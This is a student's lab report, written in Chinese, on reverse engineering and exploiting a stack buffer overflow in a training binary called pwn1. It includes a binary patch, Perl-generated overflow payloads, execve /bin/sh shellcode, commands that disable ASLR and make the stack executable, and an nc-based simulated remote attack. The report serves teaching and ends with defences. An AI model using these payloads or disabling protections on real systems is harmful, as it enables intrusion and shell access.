Exp1 PC平台逆向破解
1 逆向及Bof基础实践说明
1.1 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
- 三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
- 这几种思路,基本代表现实情况中的攻击目标:
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
1.2 基础知识
该实践需要同学们
- 熟悉Linux基本操作
- 能看懂常用指令,如管道(|),输入、输出重定向(>)等。
- 理解Bof的原理。
- 能看得懂汇编、机器指令、EIP、指令地址。
- 会使用gdb,vi。
当然,如果还不懂,通过这个过程能对以上概念有了更进一步的理解就更好了。
- 指令、参数
- 这些东西,我自己也记不住,都是用时现查的。
- 所以一些具体的问题可以边做边查,但最重要的思路、想法不能乱。
- 要时刻知道,我是在做什么?现在在查什么数据?改什么数据?要改成什么样?每步操作都要单独实践验证,再一步步累加为最终结果。
- 操作成功不重要,照着敲入指令肯定会成功。
- 重要的是理解思路。
- 看指导理解思路,然后抛开指导自己做。
- 碰到问题才能学到知识。
- 具体的指令可以回到指导中查。
1、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP 机器码为0x90——空指令。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。
- JNE 机器码为0x75——条件转移指令,如果不相等则跳转。
- JE 机器码为0x74——条件转移指令,如果相等则跳转。
- JMP 机器码为0xE9、EB、FF、EA ——无条件转移指令。段内直接短转Jmp short(机器码:EB);段内直接近转移Jmp near(机器码:E9);段内间接转移 Jmp word(机器码:FF);段间直接(远)转移Jmp far(机器码:EA)
- CMP 机器码为0x38-0x3D——比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
2、掌握反汇编与十六进制编程器
反汇编指令:
objdump -d xxx | more //反汇编指令查看机器代码
-d 表示反汇编,xxx 为可执行文件,| 为管道符,more为分页指令
-
十六进制编程器
用来以16进制视图进行文本编辑的编辑工具软件。十六进制编辑器可以用来检查和修复各种文件、恢复删除文件、硬盘损坏造成的数据丢失等。vim <filename>: 以ASCII码形式显示可执行文件的内容 :%!xxd: 将显示模式切换为16进制模式 :%!xxd: 将16进制切换回ASCII码模式
二、实验内容
1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
首先查看文件类型,因为是复制粘贴进去的,所以修改一下权限,然后备份一下
- 对目标文件进行反汇编
objdump -d pwn1 | more
odjdump
objdump命令是用查看目标文件或者可执行的目标文件的构成的gcc工具。
-d:从objfile中反汇编那些特定指令机器码的section。
more是指,利用more命令进行展示,太长了.....
其中,这个call是核心
- "call 8048491 "是汇编指令,EIP寄存器的值为0x80484ba
- 这条指令将调用位于地址8048491处的foo函数;
- 其对应机器指令为“e8 d7 ff ff ff”,e8即跳转之意。
- 本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但如一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491这个值。
- call指令对应的机器指令的后四字节与EIP存储的地址相加即为调用函数地址。
- main函数调用foo,对应机器指令为“ e8 d7 ff ff ff”,
- 那我们想让它调用getShell,只要修改“d7 ff ff ff”为,"getShell-80484ba"对应的补码就行。
- 用计算器,直接 47d-4ba就能得到补码,是c3 ff ff ff(小端存储)。
call 子程序调用,返回指令
EIP 指令指针寄存器,其内存放着一个指针,该指针永远指向下一条等待执行的指令地址。
可以说如果控制了EIP的内容,就控制了进程——我们让EIP指向哪里,CPU就会执行哪里的命令。
修改可执行文件,将call指令的目标地址由d7 ff ff ff变为c3 ff ff ff。
vi pwn1 //进入vim编辑器编辑
:%!xxd //在vim中按ESC键,输入,将显示模式切换成16进制
/e8 d7 //查找要修改的内容,e8 d7中间须有空格
我们使用vim进行修改,记住,换成2进制查看后,进行修改,
可以用r进行单字符修改,但是记住,需要把2进制格式,变成正常格式后,进行wd保存
否则会因为不符合2进制文档的效果而导致报错
显示修改成功
我们重新运行,看看效果
成功实现!
2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
知识要求:堆栈结构,返回地址
学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
进阶:掌握ELF文件格式,掌握动态技术
-
反汇编,了解程序的基本功能
在此实验中,我们使用未经修改的备份pwn2进行操作,该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞,我们要做的就是利用BOF漏洞触发getshell函数。
我们对目标文件进行反汇编
从汇编语言可以看出,这里读入字符串,但系统只预留了0x1c,即28字节的缓冲区,超出部分会造成溢出,上面的call调用foo,同时在堆栈上压上返回地址0x80484ba.
因此,该实验要做的就是利用foo函数的BOF漏洞,覆盖返回地址。
-
确认输入字符串,哪个字符会覆盖到返回地址。
当然由于预留的缓冲区为28字节,超过28字节即发生溢出,但是发生溢出是否就能正确覆盖返回地址?答案当然是否定的。
由于EBP的寄存器为4字节,因此我们推断字符串的第33-36位才能覆盖返回地址。
如果输入字符串1111111122222222333333334444444412345678,那1234四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符,替换成getshell的内存地址,输给pwn2,他就会运行getshell。
进入gdb进行调试
EIP的值是0x34333231 对应的字符串为33-36位(1234)
注意:这里的EIP的值是ASCII码
因此CPU会尝试运行这个位置的代码,但是这个地址没有任何意义,所以发生段报错
3.确认用什么值来覆盖返回地址
接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。
从上步中查询的EIP的值为0x34333231得知,小端存储应输入11111111222222223333333344444444\x7d\x84\x04\x08。
4、构造输入字符串
因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
//Perl语言
//-e 直接执行
//> 为输出重定向,将Perl生成的字符串存储到input文件中
xxd input //可以使用16进制查看指令xxd查看input文件的内容是否如预期
(cat input; cat) | ./pwn2 //然后将input的输入,通过管道符“|”,作为pwn2的输入。
注入shellcode并执行
1、准备一段Shellcode
shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe)
所以这段机器指令被称为shellcode
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令
实践用Shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
2、准备工作
安装prelink
sudo apt-get install prelink
如果无法定位软件包,可以去手动下载prelink的压缩包,安装
Copytar -xvf prelink_0.0.20130503.orig.tar.bz2
sudo apt-get install libelf-dev
cd prelink
./configure
make
sudo make install
后续的,因为涉及底层,为了更方便操作,避免系统崩溃,我从WSL2换成了docker的pwn机器
修改设置
execstack -s pwn2 //设置堆栈可执行
execstack -q pwn2 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
因为后期发现wsl和docker的监听有问题,我们重新使用kali进行操作
该实验的预设条件有:
- 关闭堆栈保护
- 关闭堆栈执行保护
- 关闭地址随机化
- 在x32环境下
- 在Linux实践环境下
我们使用checksec看一下
发现已经全部关闭
3、构造要输入的payload
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。
nop:空指令。一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
猜测一个范围的地址即可,降低猜测难度。
构造Shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了。
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
注意:
- 上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
- 特别提醒:最后一个字符千万不能是\x0a。不然下面的操作就做不了了(为了调试 不跳转)。
- 如果出现了报错,尽管不影响正常执行,可以尝试在运行前输入语句export LC_ALL=C即可
打开终端输入这段攻击BUF
本次实验直接使用已经构造好的shellcode,代码如下
(cat input_shellcode;cat) | ./pwn2
同时打开两个终端进行调试
ps -ef | grep pwn2 //找到pwn2的进程号
gdb //启动gdb调试这个进程
attach 230 //绑定进程
disassemble foo //通过设置断点,来查看注入buf的内存地址
break *0x080484ae //设置断点
//在另外一个终端中按下回车,这就是前面为什么不能以\x0a来结束 input_shellcode的原因。
c
info r esp //获取栈顶值
x/16x 0xffffd11c //x 显示 16x 16个字符 找到返回地址0x01020304
x/16x 0xffffd100 //往前推,直到看见0x90,以及Shellcode的起始地址
c
q
然后我们修改payload
但是发现遇到了问题
再重复步骤查看问题
发现看似没有问题,但是我们再进行单步调试
我们发现问题可能是我的代码也在堆栈上,当前栈顶也在这,一push就把指令自己给覆盖了。
然后我们重新开始,跳回到原来的步骤看一下
结构为:anything+retaddr+nops+shellcode。
perl -e 'print "A" x 32;print "\x30\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x10\xd0\xff\xff\x00"' > input_shellcode
成功了!!
注意这个事实:以上实践是在非常简单的一个预设条件下完成的:
(1)关闭堆栈保护(gcc [-fno-stack-protector] )
(2)关闭堆栈执行保护(execstack -s)
(3)关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
(4)在x32环境下
(5)在Linux实践环境
可以继续研究更换以上任何一个条件下如何继续bof攻击。
4.5 结合nc模拟远程攻击
该实验在互相连通的两台Linux上做,将ip地址替换为主机1的IP即可。
本例我使用了两个主机,一个是vmware的kali,另一个是wsl的kali
两者可以相互ping通
主机1,模拟一个有漏洞的网络服务:
root:~# nc -l 127.0.0.1 -p 28234 -e ./pwn1
-l 表示listen, -p 后加端口号 -e 后加可执行文件,网络上接收的数据将作为这个程序的输入
主机2,连接主机1并发送攻击载荷:
root@KaliYL:~# (cat input_shellcode; cat) | nc 127.0.0.1 28234
输入shell指令
ls
以上是同一台主机,我们使用两台主机
Bof攻击防御技术
5.1. 从防止注入的角度。
在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
GCC 中的编译器堆栈保护技术
5.2. 注入入了也不让运行。
结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。
这一部分的execstack可以通过前面的prelink进行安装,在此不再重述。
Linux可执行文件堆栈执行标识设置
5.3. 增加shellcode的构造难度。
shellcode中需要猜测返回地址的位置,需要猜测shellcode注入后的内存位置。这些都极度依赖一个事实:应用的代码段、堆栈段每次都被OS放置到固定的内存地址。ALSR,地址随机化就是让OS每次都用不同的地址加载应用。这样通过预先反汇编或调试得到的那些地址就都不正确了。
/proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制(address space layout randomization),有以下三种情况
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
5.4 从管理的角度
加强编码质量。注意边界检测。使用最新的安全的库函数。
遇到的问题
%!xxd显示zsh找不到命令
解决方法:原本使用网上的修改.zshrc配置项方法,发现没有用,而且环境变化很大,所以没有使用,本来想用IDA进行解决,但是发现利用sudo apt install可以安装上xxd,然后就都成功解决了。
执行pwn1文件的时候,显示权限不足,使用sudo也不可以
确实是因为权限不足的问题,但不清楚为什么使用root用户也不能进行操作,我们使用chmod 777 +文件进行权限的修改,成功解决。
实验感想
本次实验是我第一次做pwn相关的操作,因为比Web更偏底层,所以问题也有很多,收获也有很多。
首先是汇编代码看不明白,这是很大的问题,因为很多栈的初始化操作在汇编代码上表示出来了,看不懂的话就很难找到返回地址;
其次是栈区的结构,还是不好理解,我通过查找书籍,初步理解了本次实验的文件运行结构,不了解基本原理,我发现很难完成此次实验;
最后是在试验机的问题上,因为我平时用wsl和docker为主,但是此次实验对网络和并发监听要求较高,而docker的并发监听很困难,wsl的网络配置,因为封装原因,
我查找了很多资料,没办法ping通主机上的虚拟机,最后使用了vmware的kali进行操作,所以在本文中会有很多种类型的机器出现。
当然,因为不同实验机的相互交换,使得我重复了第四步非常多次实验,理解也更深入。
最后还是那句话,真的很爱实践,因为实践才能真的将大脑的知识用起来,活起来。